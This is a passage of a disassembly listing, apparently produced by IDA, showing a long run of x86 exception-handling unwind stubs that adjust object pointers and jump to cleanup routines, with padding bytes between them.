dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF88: ; DATA XREF: ___:004412FCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414430 proc near ; DATA XREF: sub_414430+2o mov eax, offset dword_4412D0 jmp sub_437AB8 SEH_414430 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AFC8: ; DATA XREF: ___:00441344o mov ecx, [ebp+10h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AFD8: ; DATA XREF: ___:004144D2o mov eax, offset dword_441318 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4145A0 proc near ; DATA XREF: sub_4145A0+2o mov eax, offset dword_441358 jmp sub_437AB8 SEH_4145A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B018: ; DATA XREF: ___:004413B4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B020: ; DATA XREF: ___:00414762o mov eax, offset dword_441388 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B038: ; DATA XREF: ___:004413ECo lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4148A0 proc near ; DATA XREF: sub_4148A0+2o mov eax, offset dword_4413C0 jmp sub_437AB8 SEH_4148A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B05B: ; DATA XREF: ___:00441424o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414AA0 proc near ; DATA XREF: sub_414AA0+2o mov eax, offset dword_4413F8 jmp sub_437AB8 SEH_414AA0 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B098: ; DATA XREF: ___:00414B32o mov eax, offset dword_441438 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B0B8: ; DATA XREF: ___:00414BC2o mov eax, offset dword_441468 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B0D8: ; DATA XREF: ___:004414C4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414D70 proc near ; DATA XREF: sub_414D70+2o mov eax, offset dword_441498 jmp sub_437AB8 SEH_414D70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-48h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-44h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414E10 proc near ; DATA XREF: sub_414E10+8o mov eax, offset dword_4414E0 jmp sub_437AB8 SEH_414E10 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_43B178: ; DATA XREF: ___:0044156Co mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_401447 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401938 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401CA3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401EA1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A32 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017AD ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402239 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401ECE ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018D9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017DA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B3B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F46 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_401889 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401E06 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_402013 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_401776 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401F00 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B2E1: ; DATA XREF: ___:00416A92o mov eax, offset dword_441540 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_43B358: ; DATA XREF: ___:0044167Co mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_401447 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401938 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401CA3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401EA1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A32 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017AD ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402239 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401ECE ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018D9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017DA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B3B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F46 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_401889 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401E06 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_402013 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_401776 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401F00 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B4C1: ; DATA XREF: ___:00416E32o mov eax, offset dword_441650 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4170B0 proc near ; DATA XREF: sub_4170B0+2o mov eax, offset dword_441760 jmp sub_437AB8 SEH_4170B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_43B55B: ; DATA XREF: ___:004417BCo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417120 proc near ; DATA XREF: sub_417120+2o mov eax, offset dword_441790 jmp sub_437AB8 SEH_417120 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B98B: ; DATA XREF: ___:004419FCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417640 proc near ; DATA XREF: sub_417640+2o mov eax, offset dword_4419D0 jmp sub_437AB8 SEH_417640 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43B9DB: ; DATA XREF: ___:00441A44o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4176E0 proc near ; DATA XREF: sub_4176E0+2o mov eax, offset dword_441A18 jmp sub_437AB8 SEH_4176E0 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BA4E: ; DATA XREF: ___:00441A9Co mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4177B0 proc near ; DATA XREF: sub_4177B0+2o mov eax, offset dword_441A70 jmp sub_437AB8 SEH_4177B0 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BAAB: ; DATA XREF: ___:00441AE4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417870 proc near ; DATA XREF: sub_417870+2o mov eax, offset dword_441AB8 jmp sub_437AB8 SEH_417870 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BB0B: ; DATA XREF: ___:00441B34o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417930 proc near ; DATA XREF: sub_417930+2o mov eax, offset dword_441B08 jmp sub_437AB8 SEH_417930 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4179F0 proc near ; DATA XREF: sub_4179F0+2o mov eax, offset dword_441B58 jmp sub_437AB8 SEH_4179F0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417A60 proc near ; DATA XREF: sub_417A60+2o mov eax, offset dword_441B88 jmp sub_437AB8 SEH_417A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417AD0 proc near ; DATA XREF: sub_417AD0+2o mov eax, offset dword_441BB8 jmp sub_437AB8 SEH_417AD0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417B60 proc near ; DATA XREF: sub_417B60+2o mov eax, offset dword_441BE8 jmp sub_437AB8 SEH_417B60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BBFB: ; DATA XREF: ___:00441C4Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417C20 proc near ; DATA XREF: sub_417C20+2o mov eax, offset dword_441C20 jmp sub_437AB8 SEH_417C20 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BC4B: ; DATA XREF: ___:00441C94o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417CC0 proc near ; DATA XREF: sub_417CC0+2o mov eax, offset dword_441C68 jmp sub_437AB8 SEH_417CC0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BC9B: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417D60 proc near ; DATA XREF: sub_417D60+2o mov eax, offset dword_441CB0 jmp sub_437AB8 SEH_417D60 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BD0E: ; DATA XREF: ___:00441D34o mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417E30 proc near ; DATA XREF: sub_417E30+2o mov eax, offset dword_441D08 jmp sub_437AB8 SEH_417E30 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BD6B: ; DATA XREF: ___:00441D7Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417F50 proc near ; DATA XREF: sub_417F50+2o mov eax, offset dword_441D50 jmp sub_437AB8 SEH_417F50 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418010 proc near ; DATA XREF: sub_418010+2o mov eax, offset dword_441DA0 jmp sub_437AB8 SEH_418010 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4180D0 proc near ; DATA XREF: sub_4180D0+2o mov eax, offset dword_441DF0 jmp sub_437AB8 SEH_4180D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418180 proc near ; DATA XREF: sub_418180+2o mov eax, offset dword_441E20 jmp sub_437AB8 SEH_418180 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418200 proc near ; DATA XREF: sub_418200+2o mov eax, offset dword_441E50 jmp sub_437AB8 SEH_418200 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BE8B: ; DATA XREF: ___:00441EACo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4182B0 proc near ; DATA XREF: sub_4182B0+2o mov eax, offset dword_441E80 jmp sub_437AB8 SEH_4182B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BEBB: ; DATA XREF: ___:00441EE4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418390 proc near ; DATA XREF: sub_418390+2o mov eax, offset dword_441EB8 jmp sub_437AB8 SEH_418390 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1B4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418590 proc near ; DATA XREF: sub_418590+8o mov eax, offset dword_441F00 jmp sub_437AB8 SEH_418590 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BF2B: ; DATA XREF: ___:00441F5Co mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4191B0 proc near ; DATA XREF: sub_4191B0+2o mov eax, offset dword_441F30 jmp sub_437AB8 SEH_4191B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419270 proc near ; DATA XREF: sub_419270+2o mov eax, offset dword_441F68 jmp sub_437AB8 SEH_419270 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn 